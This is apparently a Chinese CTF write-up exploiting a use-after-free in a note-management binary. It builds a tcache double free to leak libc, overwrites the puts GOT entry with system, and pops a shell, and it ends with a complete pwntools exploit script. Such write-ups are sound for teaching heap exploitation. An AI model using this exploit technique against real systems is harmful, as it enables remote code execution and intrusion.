free()后没将指针清零,利用堆块重叠修改got表实现getshell

题目地址
本地环境:libc6_2.27
查看保护
1

分析程序

拖入IDA,分析源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
if ( count <= 10 )
{
for ( i = 0; i <= 9; ++i )
{
if ( !notelist[i] )
{
printf("Note size :");
read(0, &buf, 8uLL);
v2 = atoi(&buf);
notelist[i] = (char *)malloc(v2);
if ( !notelist[i] )
{
puts("Alloca Error");
exit(-1);
}
printf("Content :", &buf);
read(0, notelist[i], v2);
puts("Done !");
++count;
return __readfsqword(0x28u) ^ v4;
}
}
}
else
{
puts("Full");
}

我们发现最多只能添加10个块,

1
2
3
4
5
6
7
8
9
10
if ( v1 < 0 || v1 >= count )
{
puts("Out of bound!");
_exit(0);
}
if ( notelist[v1] )
{
free(notelist[v1]);
puts("Done");
}

在del块里,我们发现free()后notelist[]指针没清空,并且,count没有减少,这就说明我们即使free()了块,count也不会减少

1
2
if ( notelist[v1] )
puts(notelist[v1]);

打印函数,我们可以改写puts的got表为system的地址,并令其指进的内存为’/bin/sh’,即getshell

泄露地址

因为没有把指针清空,所以考虑Double Free来首先泄露一个地址,
根据地址来找到libc版本并且泄露出system函数地址,在通过 Double Free的任意地址读写功能来修改got表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def add(payload):
p.sendlineafter('Your choice :','1')
p.sendlineafter('Note size :','10')
p.recvuntil('Content')
p.send(payload)
def add2(payload):
p.sendlineafter('Your choice :','1')
p.sendlineafter('Note size :','40')
p.recvuntil('Content')
p.send(payload)
def delete(num):
p.sendlineafter('Your choice :','2')
p.sendlineafter('Index :',str(num-1))
def Print(num):
p.sendlineafter('Your choice :','3')
p.sendlineafter('Index :',str(num-1))

编写操作chunk函数

1
2
3
4
5
add('111')#add 1
add('222') #add 2
delete(1)
delete(2)
delete(1)

1
如图,我们成功的在tcachebins块形成了环状块
这样,我们在申请一个块,并且在他的fd函数写入__libc_start_main的got表地址,这样,当我们打印got表的块的时候,我们就可以打印出
__libc_start_main的地址,实现泄露

1
2
3
add(p64(__libc_main_addr))
add('a')
add('b')

当进行add(p64(__libc_main_addr))后。

我们看到。成功的把0x602028导入到tcachebins链条中
这样我们就可以申请一个地址为0x602048的堆块了,并且这个堆块里放置着__libc_start_main的地址

1
2
3
add('a')
add('b')
add('a')#<-这个块是0x602048,

为什么申请0x602048时,输入a,因为我发现当你什么也不输入时,程序会卡主,所以我打算覆盖__libc_start_main的地址的最后一个字节
因为最后的一个半字节是不变的,所以在加或者减一个若干个字节就是__libc_start_main的地址

如图最后一个字节为0xb0,而a=0x61,则打印出来的地址加上0xb0-0x61__libc_start_main的地址
查看0x602048在bss段的偏移

发现为第六个指针

1
Print(6)

找到system地址

1
2
3
4
5
6
7
8
libc_addr=u64(p.recv(6).ljust(8,'\x00'))+0x4f
print "__libc_start_main=>",hex(libc_addr)
libc=LibcSearcher('__libc_start_main',libc_addr)
libc_data=libc_addr-libc.dump('__libc_start_main')
puts_addr=libc_data+libc.dump('puts')
system_addr=libc_data+libc.dump('system')
print "system_addr=>",hex(system_addr)
print "puts_addr=>",hex(puts_addr)

更改got表

这里用到了tcachebins可以连续free()的特性,这里本来也想用Double Free漏洞,发现指针位置不够了
我才发现tcachebins有这个特性
这里用到的add2()函数,因为tcachebins这个块在0x20链上已经满了,因为在__libc_start_main的地址以及他的fd都不可能为0
所以要重新开一个块的链条。

1
2
3
4
add2("1")
delete(7)
delete(7)
add2(p64(put_addr))

这样,我们成功把put_addr的got表放在链表上

1
2
add2('/bin/sh\x00')
add2(p64(system_addr))

这样,我们成功的把puts的got表地址改成了system的地址
查看/bin/sh在bss段的偏移

1
2
3
4
5
6
pwndbg> x/32gx 0x6020A0
0x6020a0 <notelist>: 0x0000000002356260 0x0000000002356280
0x6020b0 <notelist+16>: 0x0000000002356260 0x0000000002356280
0x6020c0 <notelist+32>: 0x0000000002356260 0x0000000000602048
0x6020d0 <notelist+48>: 0x00000000023562a0 0x00000000023562a0
0x6020e0 <notelist+64>: 0x00000000023562a0 0x0000000000602028

偏移为9

1
Print(9)

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *
from LibcSearcher import LibcSearcher

#p=remote("120.55.43.255",11003)
p=process('./geek')
elf=ELF('./geek')
__libc_main_addr=elf.got['__libc_start_main']
put_addr=elf.got['puts']
print '__libc_start_main=>',hex(__libc_main_addr)
print 'put_addr=>',hex(put_addr)
def add(payload):
p.sendlineafter('Your choice :','1')
p.sendlineafter('Note size :','10')
p.recvuntil('Content')
p.send(payload)
def add2(payload):
p.sendlineafter('Your choice :','1')
p.sendlineafter('Note size :','40')
p.recvuntil('Content')
p.send(payload)
def delete(num):
p.sendlineafter('Your choice :','2')
p.sendlineafter('Index :',str(num-1))
def Print(num):
p.sendlineafter('Your choice :','3')
p.sendlineafter('Index :',str(num-1))
add('111')#add 1
add('222') #add 2
delete(1)
delete(2)
delete(1)

add(p64(__libc_main_addr))
add('a')
add('b')
add('a')#add 4
Print(6)

libc_addr=u64(p.recv(6).ljust(8,'\x00'))+0x4f
print "__libc_start_main=>",hex(libc_addr)
libc=LibcSearcher('__libc_start_main',libc_addr)
libc_data=libc_addr-libc.dump('__libc_start_main')
system_addr=libc_data+libc.dump('system')
print "system_addr=>",hex(system_addr)
add2("1")
delete(7)
delete(7)
add2(p64(put_addr))
add2('/bin/sh\x00')
add2(p64(system_addr))
gdb.attach(p)
Print(9)

p.interactive()